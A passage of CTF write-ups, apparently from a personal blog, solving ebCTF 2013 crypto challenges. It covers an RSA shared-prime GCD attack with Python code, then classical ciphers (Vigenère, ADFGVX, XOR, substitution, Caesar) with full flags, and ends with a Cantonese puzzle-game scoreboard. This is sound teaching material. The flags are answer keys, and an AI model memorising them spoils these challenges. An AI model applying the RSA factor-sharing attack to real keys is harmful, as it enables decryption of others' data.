So don't do this.

I remember someone told me that RSA is not safe because the modulus are not randomly generated, or p and q are not even prime. Well, because these messages use different n, we can try to find the gcd for each pair of n, just need 4096 * 4095 / 2 times. Worth to try.
#nn = [the list of modulus]
def gcd(a,b):
    if a == 0:
        return b
    return gcd(b % a, a)

f = open('output.txt', 'a')
for i in range(0,4095):
    for j in range(i+1,4096):
        g = gcd(nn[i],nn[j])
        if g <> 1:
            print str(i)+","+str(j)+"\t"+str(g)+"\r\n"
            f.write(str(i)+","+str(j)+"\t"+str(g)+"\r\n")
f.close()

And the good thing is we have:
763,3821
10425079766382366420625494866767568875370400467976574956525983652357684133387986157895827317253539750222139144079507972326197750248804720295152321770469893

So the n in message763 and message3821 are not coprime. Now we get a prime factorizer :)
But wait, what is e? Just use the common one 65537 and try:
#nn = [list of modulus]
#cc = [list of ciphertext]

cop = 10425079766382366420625494866767568875370400467976574956525983652357684133387986157895827317253539750222139144079507972326197750248804720295152321770469893

def powMod(base, power, modulus):
    base = gmpy.mpz(base)
    power = gmpy.mpz(power)
    modulus = gmpy.mpz(modulus)
    result = pow(base, power, modulus)
    return long(result)

p1 = nn[763] / cop
p2 = nn[3821] / cop

tot1 = (p1-1) * (cop - 1)
tot2 = (p2-1) * (cop - 1)

d1 = gmpy.invert(65537, tot1)
d2 = gmpy.invert(65537, tot2)

m1 = powMod(cc[763], d1, nn[763])
m2 = powMod(cc[3821], d2, nn[3821])

print ("%x" % m1).decode("hex")
print ("%x" % m2).decode("hex")

And then you will see:
This is a secret message, for your eyes only: ebCTF{b517aba29f132c52c9426a177952a2d8}
This is a secret message, for your eyes only: ebCTF{b517aba29f132c52c9426a177952a2d8}


ebCTF@OHM2013 Crypto100

Crypto100
http://ebctf.nl/files/ef60b4e178784eb4d1d6e701ac06fc09/crypto-100.txt

The first part is about "Klomp". Search it on Google is and you will find that it is a Dutch shoe.
I suppose first part should be easiest, so I tried with Caesar/ROT13 first:
http://web.forret.com/tools/rot13.asp
Although this tool has some defect(?) that makes the URL request too long and you need to restart the whole thing again and again, I like this more because it also gives you the frequency chart.
Or you may try this: http://www.braingle.com/brainteasers/codes/caesar.php
First try with ROT13 (Key = 13/N)

J lmedp nm b tuph vior niv Wfuxvrquoub. Lmedpjh bin xiece kyfk lmpwj.
Aujsfgjnqkeqs 3 nzumjee pfcsj xg lbfmuyo raf nque judy hfbh. Khjs bin tpbu tmlplpi pkk tmy Ovcifhcasxt. R ubswv pflu fo uiu dawefk rt gei ttoszbu telvjhjib. Ipmvvjl tfvf Ekkcm jffymf, frrycdlubsbp fflnvat, nqikjn hraefdvrx uou pbstvnjlt jcjmb nefl uynn gei eayspmbz kje. Toujref jye yivirtu yedzmuih, lmedpjh drw cf vfusx cvbu jd cohum kxpm iyoum bem hbhues wfecfsi.
Khj nsrmjuyfnff bcu-xpeues Xvkli dbfgx bbmn cfue okzjtrbmbp ahwsvmjuuu ax mbwnuz iyojm xzci uxv CJ gbit bot tas qjkqtuqed ffnfbu bdp pjhfkabuyfn nhdcdejdx smusg xckuttx uou lposvnylbkne bszdx. Nivh bsu rcyobcuz tqwew nirw tuuvlhuqgne qhftjwuzef txfex co jxnf szrhonjcbosvs, fm uyn xpeu cwudbb sbjyew nirw efdks nh focsfcv ahwjunoui, rlqixzwh fqjy wynfebm ew tmy dcxh bdu ntn dfwujdlei jsvbtvhv os niv cpfi sy ybf (vmhf ew) tmy tknfm dfsj.Mpdn pg jye Ioutq bmif cthtzmfs mvawcox lmpwj ax vfzwh iurlybz wxs uxv wjusvat' guvt.
Nhuvaftjznl zbtc, uiu bltgq zb bmif rjfbkne ue khj qpim tbrftfaf. Kqf Ghvnhb xfae gei kqing rt tqsoy. Zsvwdi mfrpysj fip mvrj lfgubduu bd gbtqjouj tmlpnne b acorj je cif crcmcov cp chvap cu. 
Pxv fqinjx zfdstucf ybf wrstj gawn pw cif vcal: ycTCG{62b

Looks awful. The expected rank of the frequency chart are "Etaoin shrdlu".
If you see the chart, it tells you some of the peaks are on B,F,J,U, which looks like need to shift one more character. So click on "B" on that "Pick A" (or you can restart and choose Key = -12):
I kldco ml a stog uhnq mhu Vetwuqptnta. Kldcoig ahm whdbd jxej klovi.
Ztirefimpjdpr 3 mytlidd oebri wf kaeltxn qze mptd itcx geag. Jgir ahm soat slkokoh ojj slx Nubhegbzrws. Q tarvu oekt en tht czvdej qs fdh ssnryat sdkuigiha. Holuuik seue Djjbl ieexle, eqqxbcktarao eekmuzs, mphjim gqzdecuqw tnt oarsumiks ibila mdek txmm fdh dzxrolay jid. Sntiqde ixd xhuhqst xdcylthg, kldcoig cqv be uetrw buat ic bngtl jwol hxntl adl gagtdr vedberh.
Jgi mrqlitxemee abt-wodtdr Wujkh caefw aalm betd njyisqalao zgvrulittt zw lavmty hxnil wybh twu BI fahs ans szr pijpstpdc eemeat aco oigejzatxem mgcbcdicw rltrf wbjtssw tnt konrumxkajmd arycw. Mhug art qbxnabty spvdv mhqv sttukgtpfmd pgesivtyde swedw bn iwme ryqgnmibanrur, el txm wodt bvtcaa raixdv mhqv decjr mg enbrebu zgvitmnth, qkphwyvg epix vxmedal dv slx cbwg act msm cevtickdh iruasugu nr mhu boeh rx xae (ulge dv) slx sjmel ceri.Locm of ixd Hntsp alhe bsgsyler luzvbnw klovi zw ueyvg htqkxay vwr twu vitruzs' ftus.
Mgtuzesiymk yasb, tht aksfp ya alhe qieajmd td jgi pohl saqeseze. Jpe Fgumga wezd fdh jphmf qs sprnx. Yruvch leqoxri eho luqi keftactt ac faspinti slkommd a zbnqi id bhe bqblbnu bo bguzo bt. 
Owu ephmiw yecrstbe xae vqrsi fzvm ov bhe ubzk: xbSBF{62a

Looks better but still awful. Notice that the flag is like "ebCTF{###" at the end of the message, and the plaintext is "lpGPT{62o". The letter "p" maps to both "b" and "T", which means it is probably not a monoalphabetic cipher. So I tried polyalphabetic substitution later. The popular one is Vigenere cipher:
http://sharkysoft.com/misc/vigenere/
From the previous analysis, the key "O" should make sense and you can brute force the key starting from "OOOOOO".  If you see the first sentence, it looks like the pharse "A klomp" makes more sense from the clue. Then you will get the key "WOODEN"
A klomp el a ddpy uhya nzu Vpdxmqpexus. Klompag asw xzdbo tywj kwywa.
Zttbfximatehr 3 mjdmadd zocji wq ubwltix rre made atci qfsg. Jrss shm dybl slvylgh out tdx Nfliwgbkbxk. Q tlbwm oevd ff the mandeu at xdh dcojyae cecuirsis. Howevak spef Vjjmv jwexwo, fiqxmmllarly fwkmfjt, ephusn yqzoodmqw exu gardenaks tljda mool lxmx pez dzibpday use. Knttaew ixo himhqdd yvcywdiy, klompag cbf cw ueebx tuae sd tngev kool sholl aov hsgtob wwdbpbi.
Bgi xbrditionwe amd-xgdtob Xmjks mbwfw lkme been obyidabdao kqwjultdul zw wkwety shoal wjli lwu MS gshs lxt kzr askhstand wempku sco zshwjzldywm mrmcuding sdtrq gcbtsdg uft kzxsmmxvkked acido. Mhfq bjt qmhosbtj cqndv xrrn steelytpqwe hgedswlydp cxwdw mx jome cirynmtlbfruc, om lxm hyel bvembs rathen mhbf ewcjc wh wnbcocm zggsuents, alhhwjfh wpii fyeedlv en sli mcog and nkm cpfuackor jjuadehm nr xrv toes by pae (fvhw dv) dvy kjmpv dwri.Wyde of the Zntdz bdhe mchkylpb mmzvmxx clogs ao uejfh ztqvhbq vwc dxm viebvrs' feet.
Egtfjfkiyxu zssb, eru sksqz zs also raeauwe ld jrs qghl dkrwseko. Khe Frenya wpje xdh uzief qd cqjnx. Jbvnch worgxrt oig lubs lwftlmul ac qkthines tdkoxwe s zbyaj ad bso ciblmxv to breag bt. 
Zgv wphxsx qecccute xlo wirst panm og liw ubku: ytSBQ{62k

I don't think "el" is good. So extend the key and force it to become "is" then you will get "WOODENSH", but the fourth word will become "s", extend again then you will have "WOODENSHO". And now you should try "WOODENSHOE". Don't ask me why. Then you will get the plaintext:
A klomp is a clog from the Netherlands. Klompen are whole feet clogs.
Approximately 3 million pairs of klompen are made each year. They are sold through out the Netherlands. A large part of the market is for tourist souvenirs. However some Dutch people, particularly farmers, market gardeners and gardeners still wear them for everyday use. Outside the tourist industry, klompen can be found best in local tool shops and garden centers.
The traditional all-wooden Dutch clogs have been officially accredited as safety shoes with the CE mark and can withstand almost any penetration including sharp objects and concentrated acids. They are actually safer than steelcapped protective shoes in some circumstances, as the wood cracks rather than dents in extreme accidents, allowing easy removal of the clog and not continued pressure on the toes by the (edge of) the steel nose.Some of the Dutch also consider wearing clogs as being healthy for the wearers' feet.
Interesting fact, the klomp is also related to the word sabotage. The French word for klomp is sabot. French workers who were replaced by machines throwed a klomp in the machine to break it. 
You earned yourself the first part of the flag: ebCTF{62a

If you don't want to do it by hand, or only want to use toooooools, then you can try frequency analysis:
http://smurfoncrack.com/pygenere/index.php
Choose a longer key length or you will get uninteresting key like "OSOOOOO".
Looks good? Only 1/6 of the answer.

The second part is about "Cargo". The ciphertext only contains "ADFGVX", so it should be ADFGVX cipher. (Note: this cipher has nothing to do with VXRL)
From the Wikipedia example, the columnar transposition key is also "Cargo". So I tried to decrypt with the key "Cargo" first. I used Excel to do that, but for tool illustration, there are some available:
http://practicalcryptography.com/ciphers/adfgvx-cipher/

I cannot find any online tools that can use characters other than [0-9a-z], so you cannot put some placeholder easily like in Excel. Using keysqaure "abcdefghijklmnopqrstuvwxyz0123456789" and keyword "CARGO", the "plaintext" result will become:
kzujjun06tr3t2t6abteab163a3nree1jz6n3qfliyhmpx7v6c6tuk53tz653n2unrb316we11vz3uv3akkzujj3rv6d6sz6j32s11d353tdvzun0uk68u2n6v23312t33v646nve4va36njz6n3nsab3tqfliyhmpx78unrt30etrkbteafqq8u16j6vev63khq8u164es1u216w3tll8u16ejj13kfiy8u1613386n3k346nrjetv62vz321e0b4f4q7

You can see the first few characters "kzujjun" looks like "shipping" in the clue. So now you can map back the characters by changing the key. Swap "k" and "s", "z" and "h", etc, then you will get the keyword "abcdef0zuPSlmNojqrktIvwxyHG123456789" (I put some capital letters to indicate the word is matched). The plaintext now becomes:
shipping6tr3t2t6abteab163a3nree1ph6n3qfluyzmjx7v6c6tis53th653n2inrb316we11vh3iv3asshipp3rv6d6kh6p32k11d353tdvhingis68i2n6v23312t33v646nve4va36nph6n3nkab3tqfluyzmjx78inrt3getrsbteafqq8i16p6vev63szq8i164ek1i216w3tll8i16epp13sfuy8i1613386n3s346nrpetv62vh321egb4f4q7

Alright. The next word is "order". Do the tedious things again and you will have the keyword "abct3f0zuPSlmN6jqDkRIvwxyHG12E45O789". Yeah why don't you just use Excel to build a lookup table. The plaintext is now:

shippingorder2roabr3ab1oeaend331phoneqfluyzmjx7vocoris5erho5en2indbe1ow311vheiveasshippedvotokhope2k11te5ertvhingiso8i2nov2ee12reevo4onv34vaeonphonenkaberqfluyzmjx78indreg3rdsbr3afqq8i1opov3voeszq8i1o43k1i21owerll8i1o3pp1esfuy8i1o1ee8onese4ondp3rvo2vhe213gb4f4q7

Then you have "2roabr3ab1oeaend331phoneqfluyzmjx7" for "frombrambloemendaalphone0123456789". The keyword will become "MBctA1q53PS26Nu70DkRIvw84HGLFEyzO9xj" with plaintext

shippingorderfrombrambloemendaalphone0123456789vocoriszerhozenfindbelowallvheivemsshippedvotokhopefklltezertvhingisoxifnovfeelfreevoyonvayvmeonphonenkmber0123456789xindregardsbram100xilopovavoes50xiloyakliflower22xiloapples134xiloleexoneseyondparvofvheflagby1y09

Sounds good. Now the numbers should be correct. And then "vocoriszerhozen" for "tojorisverhoven". The keyword becomes "MBJzA1q53PS26Nu70DkRITw84HGLFEyVO9xc" and plaintext is

shippingorderfrombrambloemendaalphone0123456789tojorisverhovenfindbelowalltheitemsshippedtozokhopefkllzeverzthingisoxifnotfeelfreetoyontaytmeonphonenkmber0123456789xindregardsbram100xilopotatoes50xiloyakliflower22xiloapples134xiloleexoneseyondpartoftheflagby1y09

Finally we use up all the clues. The placeholders are the small letters in the keyword, which are "zqukwyxc". Replace them to symbols like "!@#$%^~*" to have a better view (Blogger doesn't like ampersand, so I use tilde here)

shippingorderfrombrambloemendaalphone0123456789tojorisverhovenfindbelo%alltheitemsshippedto!o$hopef$ll!ever!thingiso~ifnotfeelfreeto^onta^tmeonphonen$mber0123456789~indregardsbram100~ilopotatoes50~ilo^a$liflo%er22~iloapples134~ilolee~onese^ondpartoftheflagb^1^09

and the keyword becomes "MBJ!A1@53PS26N#70D$RIT%84HGLFE^VO9~*". Then you can interpret the remaining message by yourself:

find belo% all the items shipped to !o$ 
hopef$ll! ever!thing is o~ 
if not feel free to ^onta^t me on phone n$mber 0123456789 
~ind regards bram 
100 ~ilo potatoes 
50 ~ilo ^a$li flo%er 
22 ~ilo apples 
134 ~ilo lee~ one 
se^ond part of the flag b^1^09

% = w, $ = u, ! = y, ~ = k, ^ = c
Well, q, x and z are still remain unknown. But who cares, actually you just care about ^ = c:

second part of the flag bc1c09

Impatient readers now found that this is just the second part. 4 moar Roar.

The third part is just base64 decode.
But well, life is not that easy. After you decode, the file looks corrupted:
Well. Some funny repeated string. Isn't that looks like JPEG quantization table (? yea, xored.):

So let's just do some dirty tricks to prove this. Pick the first 16 bytes of the file and xor it with the first 16 bytes of a random JPEG file:
"FFD8FFE000104A464946000101010060" XOR "8BAD938970643F2A203674746D68703C" = "74756c697074756c697074756c69705c"
So the string "74756c6970" is repeating. You may ask why the last byte is "5c" but not "74", smart readers should know the reason. Now we get the XOR key is "tulip", and decode it will get a tulip image with the word "Third part of the flag: 6bb166".

The fourth part is checking your eye sight:
thhneu hpeitr eafnw frleo otata uoghb rfirf ttseo
Can't see shit? How about this:
thhneu 
hpeitr 
eafnw 
frleo 
otata 
uoghb 
rfirf 
ttseo
Still cannot see? Then you should come and learn Chinese, maybe you will get some extra insight.
Plaintext: the fourth part of the flag is nine three two a b four

Fifth part:
S fbnnbh niwzsed nstd oj rbqdiuhdqw iw zgsz zgd Hdzgdqyshtw ydusyiadt zgd mwd br fshhsoiw sht bzgdq qdfqdszibhsy wbrz tqmuw. Sffbqtihu zgd ysp shj mwd br tqmuw iw wziyy iyydusy, omz zgdqd iw s zbydqshfj kbyifj fsyydt udtbbuodydit rbq shj wbrz tqmuw. Zgiw iw s wdz br umitdyihdw zdyyihu kmoyif kqbwdfmzbqw mhtdq pgifg fiqfmnwzshfdw brrdhtdqw wgbmyt hbz od kqbwdfmzdt. Sffbqtihu zb fmqqdhz udtbbuodydit zgd kbwwdwwibh br s nslinmn snbmhz br rixd uqsnw fshhsoiw rbq kdqwbhsy mwd iw hbz kqbwdfmzdt. Fmyzixszibh iw zqdszdt ih s winiysq psj. Fmyzixszibh br 5 kyshzw bq ydww iw mwmsyyj hbz kqbwdfmzdt pgdh zgdj sqd qdhbmhfdt oj zgd fmyzixszbq.  Wb ir jbm fbnd zb zgd Hdzgdqyshtw sht pshz zb zqj wbnd qdfqdszibhsy mwd br wbrz tqmuw, odpsqd zgsz iz iw hbz ydusy. Zgd rirzg ksqz rbq zgd rysu iw so1rtd

See, the last sentence, "The fifth part ??? the flag is ??1???". Looks like a cryptogram. So if you want toooooools, then this one is goooooood:
http://www.blisstonia.com/software/WebDecrypto/index.php
Almost instantly solved. If you want to do it by hand, here is it. First change all letters to lower case for indicator purpose:
s fbnnbh niwzsed nstd oj rbqdiuhdqw iw zgsz zgd hdzgdqyshtw ydusyiadt zgd mwd br fshhsoiw sht bzgdq qdfqdszibhsy wbrz tqmuw. sffbqtihu zgd ysp shj mwd br tqmuw iw wziyy iyydusy, omz zgdqd iw s zbydqshfj kbyifj fsyydt udtbbuodydit rbq shj wbrz tqmuw. zgiw iw s wdz br umitdyihdw zdyyihu kmoyif kqbwdfmzbqw mhtdq pgifg fiqfmnwzshfdw brrdhtdqw wgbmyt hbz od kqbwdfmzdt. sffbqtihu zb fmqqdhz udtbbuodydit zgd kbwwdwwibh br s nslinmn snbmhz br rixd uqsnw fshhsoiw rbq kdqwbhsy mwd iw hbz kqbwdfmzdt. fmyzixszibh iw zqdszdt ih s winiysq psj. fmyzixszibh br 5 kyshzw bq ydww iw mwmsyyj hbz kqbwdfmzdt pgdh zgdj sqd qdhbmhfdt oj zgd fmyzixszbq.  wb ir jbm fbnd zb zgd hdzgdqyshtw sht pshz zb zqj wbnd qdfqdszibhsy mwd br wbrz tqmuw, odpsqd zgsz iz iw hbz ydusy. zgd rirzg ksqz rbq zgd rysu iw so1rtd

(Case sensitive) Replace z = T, g = H, d = E, r = F, i = I, k = P, s = A, q = R:
A fbnnbh nIwTAeE nAtE oj FbREIuhERw Iw THAT THE hETHERyAhtw yEuAyIaEt THE mwE bF fAhhAoIw Aht bTHER REfREATIbhAy wbFT tRmuw. AffbRtIhu THE yAp Ahj mwE bF tRmuw Iw wTIyy IyyEuAy, omT THERE Iw A TbyERAhfj PbyIfj fAyyEt uEtbbuoEyEIt FbR Ahj wbFT tRmuw. THIw Iw A wET bF umItEyIhEw TEyyIhu PmoyIf PRbwEfmTbRw mhtER pHIfH fIRfmnwTAhfEw bFFEhtERw wHbmyt hbT oE PRbwEfmTEt. AffbRtIhu Tb fmRREhT uEtbbuoEyEIt THE PbwwEwwIbh bF A nAlInmn AnbmhT bF FIxE uRAnw fAhhAoIw FbR PERwbhAy mwE Iw hbT PRbwEfmTEt. fmyTIxATIbh Iw TREATEt Ih A wInIyAR pAj. fmyTIxATIbh bF 5 PyAhTw bR yEww Iw mwmAyyj hbT PRbwEfmTEt pHEh THEj ARE REhbmhfEt oj THE fmyTIxATbR.  wb IF jbm fbnE Tb THE hETHERyAhtw Aht pAhT Tb TRj wbnE REfREATIbhAy mwE bF wbFT tRmuw, oEpARE THAT IT Iw hbT yEuAy. THE FIFTH PART FbR THE FyAu Iw Ao1FtE

Looks good. Now "FbR" should be "FOR" unless you think "FUR" makes more sense. So replace b = O, y = L, u = G, w = S:
A fOnnOh nISTAeE nAtE oj FOREIGhERS IS THAT THE hETHERLAhtS LEGALIaEt THE mSE OF fAhhAoIS Aht OTHER REfREATIOhAL SOFT tRmGS. AffORtIhG THE LAp Ahj mSE OF tRmGS IS STILL ILLEGAL, omT THERE IS A TOLERAhfj POLIfj fALLEt GEtOOGoELEIt FOR Ahj SOFT tRmGS. THIS IS A SET OF GmItELIhES TELLIhG PmoLIf PROSEfmTORS mhtER pHIfH fIRfmnSTAhfES OFFEhtERS SHOmLt hOT oE PROSEfmTEt. AffORtIhG TO fmRREhT GEtOOGoELEIt THE POSSESSIOh OF A nAlInmn AnOmhT OF FIxE GRAnS fAhhAoIS FOR PERSOhAL mSE IS hOT PROSEfmTEt. fmLTIxATIOh IS TREATEt Ih A SInILAR pAj. fmLTIxATIOh OF 5 PLAhTS OR LESS IS mSmALLj hOT PROSEfmTEt pHEh THEj ARE REhOmhfEt oj THE fmLTIxATOR.  SO IF jOm fOnE TO THE hETHERLAhtS Aht pAhT TO TRj SOnE REfREATIOhAL mSE OF SOFT tRmGS, oEpARE THAT IT IS hOT LEGAL. THE FIFTH PART FOR THE FLAG IS Ao1FtE

The flag is A@1F~E, and you know they should be B, C or D just need to brute force 6 times, yeah.
Well, go and find some word that has "o" or "t". For "o", "oj", "omT", "oE", and "oEpARE" are short and looks trivial. I suppose this message is English, so we should have "BE" instead of "DE". Replace o to B and see what happen:
A fOnnOh nISTAeE nAtE Bj FOREIGhERS IS THAT THE hETHERLAhtS LEGALIaEt THE mSE OF fAhhABIS Aht OTHER REfREATIOhAL SOFT tRmGS. AffORtIhG THE LAp Ahj mSE OF tRmGS IS STILL ILLEGAL, BmT THERE IS A TOLERAhfj POLIfj fALLEt GEtOOGBELEIt FOR Ahj SOFT tRmGS. THIS IS A SET OF GmItELIhES TELLIhG PmBLIf PROSEfmTORS mhtER pHIfH fIRfmnSTAhfES OFFEhtERS SHOmLt hOT BE PROSEfmTEt. AffORtIhG TO fmRREhT GEtOOGBELEIt THE POSSESSIOh OF A nAlInmn AnOmhT OF FIxE GRAnS fAhhABIS FOR PERSOhAL mSE IS hOT PROSEfmTEt. fmLTIxATIOh IS TREATEt Ih A SInILAR pAj. fmLTIxATIOh OF 5 PLAhTS OR LESS IS mSmALLj hOT PROSEfmTEt pHEh THEj ARE REhOmhfEt Bj THE fmLTIxATOR.  SO IF jOm fOnE TO THE hETHERLAhtS Aht pAhT TO TRj SOnE REfREATIOhAL mSE OF SOFT tRmGS, BEpARE THAT IT IS hOT LEGAL. THE FIFTH PART FOR THE FLAG IS AB1FtE

Now find some good "t"s. "nAtE", "hETHERLAhtS", "Aht", "tRmGS", "OFFEhtERS", "SHOmLt", "TREATEt". Well, it's "D", unless "Treatec" makes sense to you. Now replace it:
A fOnnOh nISTAeE nADE Bj FOREIGhERS IS THAT THE hETHERLAhDS LEGALIaED THE mSE OF fAhhABIS AhD OTHER REfREATIOhAL SOFT DRmGS. AffORDIhG THE LAp Ahj mSE OF DRmGS IS STILL ILLEGAL, BmT THERE IS A TOLERAhfj POLIfj fALLED GEDOOGBELEID FOR Ahj SOFT DRmGS. THIS IS A SET OF GmIDELIhES TELLIhG PmBLIf PROSEfmTORS mhDER pHIfH fIRfmnSTAhfES OFFEhDERS SHOmLD hOT BE PROSEfmTED. AffORDIhG TO fmRREhT GEDOOGBELEID THE POSSESSIOh OF A nAlInmn AnOmhT OF FIxE GRAnS fAhhABIS FOR PERSOhAL mSE IS hOT PROSEfmTED. fmLTIxATIOh IS TREATED Ih A SInILAR pAj. fmLTIxATIOh OF 5 PLAhTS OR LESS IS mSmALLj hOT PROSEfmTED pHEh THEj ARE REhOmhfED Bj THE fmLTIxATOR.  SO IF jOm fOnE TO THE hETHERLAhDS AhD pAhT TO TRj SOnE REfREATIOhAL mSE OF SOFT DRmGS, BEpARE THAT IT IS hOT LEGAL. THE FIFTH PART FOR THE FLAG IS AB1FDE

Sixth part is claimed to be easy. So try to use Caesar/ROT13.
Try several keys you will get this:
The Delta Works is a series of construction projects in the southwest of the Netherlands to protect a large area of land around the Rhine-Meuse-Scheldt delta from the sea. The works consist of dams, sluices, locks, dikes, levees, and storm surge barriers. The aim of the dams, sluices, and storm surge barriers was to shorten the Dutch coastline, thus reducing the number of dikes that had to be raised.
Along with the Zuiderzee Works, Delta Works have been declared one of the Seven Wonders of the Modern World by the American Society of Civil Engineers. The last part of the flag is: one-five-f-three-four-}

Well. If you want to use an ox cleaver to kill a chicken, then use Decrypto.

Finally, the flag is ebCTF{62abc1c096bb166932ab4ab1fde15f34}


2013年8月1日 星期四

ICX1 No one plays

差唔多開左成年 暑假都冇人玩 貼答案算
最後排名:
#NicknameScore
1SlipperR Q P X V 7242
2STS R Q P 6397
3YCKS R Q 5255
4GuestR 3832
5player3193
6leafcard1544
7xiaolang1541
8NoOne816
9circle710
10Wan320

恭喜中國代表 Slipper 解剩 S4。
香港代表 ST 最後卡晒響堆 X 度,唔知點解又解左題 X2。
綠寶石 = 解晒 Search
黃寶石 = 解晒 Riddle
紅寶石 = 解晒 Quest
藍寶石 = 解晒 Program
黑色果舊 = 解晒 X
金色果舊 = 解晒所有 Level 5
白色果舊 = 解晒全部 (冇人解晒 好似係)